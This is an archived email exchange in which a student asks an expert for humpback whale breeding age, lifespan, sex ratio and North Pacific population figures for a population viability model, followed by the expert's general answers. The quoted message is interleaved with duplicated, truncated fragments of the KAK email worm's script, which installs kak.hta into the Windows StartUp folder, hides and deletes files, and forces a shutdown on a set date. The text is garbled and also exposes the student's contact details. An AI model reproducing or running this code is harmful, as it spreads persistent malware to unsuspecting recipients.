Neil, Interesting project. You will probably have a bit of trouble finding exact numbers for some of your age data as it is quite difficult to age baleen whale. Although there is quite a bit of data that was collected by whalers while they were hunting whales most of this information is in terms of the size of whales rather than the age of whales. So keeping this in mind, here are some general figures. If you check in the Journal "Marine Mammal Science" I suspect you will be able to find more exact estimates... Breeding age...Humpback whales reach sexual maturity at about 6-8 years of age (when males reach the length of 36 feet (11.6 m) and females are 40 feet (12 m)). Each female typically bears a single calf every 2-3 years and the gestation period is 12 months. We do not know the maximum lifespan or reproductive lifespan, however the general age limits are about 70-80 years... Sex ratio is about equal at birth... The North pacific population is believed to be around 2,000. ge At 02:03 AM 2/4/01 -0500, you wrote: >>>> id=scr> ArialDear sir,4d4d,7979,2020 My name is Neil Hammerschlag and I am a senior undergraduate student at the University of Toronto. I studying towards a degree in marine ecology and plan to go on to graduate school in order to obtain a career in marine sciences. At the present, I am working on a population viability project and I have decided to work on the North Pacific Humpback Whale (Megaptera novaeangliae). I am using a computer program called "Vortex" which is an individually-based population viability modeling program that can include both deterministic and stochastic effects in order to simulate and predict long-term future population densities for endangered species. Thus far I have been using scientific journals for research in order to obtain parameters which I can test in the program to obtain various outcomes for population density. I have had a little trouble finding some specific information, and I was wondering if you might be able to answer the following questions: -What age do Humpback whales begin breeding (males and females)? -What is the maximum breeding age of Humpbacks, beyond which they can no longer breed? -What is the sex ratio (proportion of males) at birth? -What is the current population size of North Pacific Humpback Whales? -How many young are usually born per year/litter? -What age do males and females usually live to? If you are able to answer any of these question I would greatly appreciate it. Please email me back as soon as possible. Thank you very much for your time, Sincerely, Neil Hammerschlag neils-email@home.com (416) 960-6345 (905) 881-2819 ');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver memory alloc failed !]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write(); //--> ');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver memory alloc failed !]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write(); //--> Arial4d4d,7979,2020